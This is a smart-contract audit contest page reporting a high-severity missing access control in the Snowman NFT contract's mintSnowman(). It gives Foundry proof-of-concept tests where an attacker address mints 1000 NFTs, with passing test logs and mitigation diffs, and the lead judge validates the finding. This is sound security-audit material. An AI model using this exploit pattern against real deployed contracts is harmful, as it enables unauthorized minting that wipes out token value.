Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Missing access control allows arbitrary NFT minting

Description

The function is externally callable with no access control, allowing anyone to mint unlimited NFTs. This bypasses the protocol’s intended eligibility requirements and breaks the airdrop mechanism.Snowman::mintSnowman()

function mintSnowman(address receiver, uint256 amount) external { // <@ absence of access control modifier
// @> No checks for who can call this function
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
​
emit SnowmanMinted(receiver, s_TokenCounter);
​
s_TokenCounter++;
}
}

Risk

Likelihood:

Impact:

The NFT minting function is callable by any address, so the airdrop allowlist, EIP-712 signature checks and Snow-staking requirement can all be bypassed by a single transaction, allowing unlimited free NFT issuance that destroys the value of both the NFT collection and the Snow token.

Proof of Concept

This test demonstrates how an arbitrary user can mint NFTs at will:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {Test} from "forge-std/Test.sol";
import {Snowman} from "../src/Snowman.sol";
​
contract MinimalPoC is Test {
function test_AnyoneCanMint() public {
Snowman nft = new Snowman(""); // Deploy the original Snowman contract
address attacker = makeAddr("attacker"); // Create an unrelated attacker address
​
vm.prank(attacker); // Call as the attacker
nft.mintSnowman(attacker, 1000); // <-- Vulnerable: no access control
​
assertEq(nft.balanceOf(attacker), 1000); // Attacker receives 1000 NFTs
}
}

Recommended Mitigation

Restrict the function using access control, and implement a supply cap to prevent infinite minting**mintSnowman()**

- remove this code
+ add this code
--- a/src/Snowman.sol
+++ b/src/Snowman.sol
@@ -19,6 +19,10 @@
error ERC721Metadata__URI_QueryFor_NonExistentToken();
error SM__NotAllowed();
+ error SM__Unauthorized();
+ error SM__MaxSupplyReached();
+ error SM__AirdropAlreadySet();
+ error SM__ZeroAddress();
+ uint256 public constant MAX_SUPPLY = 10_000;
+
uint256 private s_TokenCounter;
string private s_SnowmanSvgUri;
+ /// @notice The only address allowed to mint. Written once, then locked.
+ address public i_airdrop;
​
+ event AirdropUpdated(address indexed airdrop);
+
+ /// @notice Wires the airdrop contract as the only allowed minter.
+ /// @dev Callable once. A second call reverts, so the owner cannot silently
+ /// redirect minting authority after the protocol is live.
+ function setAirdrop(address _airdrop) external onlyOwner {
+ if (i_airdrop != address(0)) revert SM__AirdropAlreadySet();
+ if (_airdrop == address(0)) revert SM__ZeroAddress();
+
+ i_airdrop = _airdrop;
+
+ emit AirdropUpdated(_airdrop);
+ }
​
function mintSnowman(address receiver, uint256 amount) external {
+ if (msg.sender != i_airdrop) revert SM__Unauthorized();
+
+ if (s_TokenCounter + amount > MAX_SUPPLY) revert SM__MaxSupplyReached();
+
for (uint256 i = 0; i < amount; i++) {
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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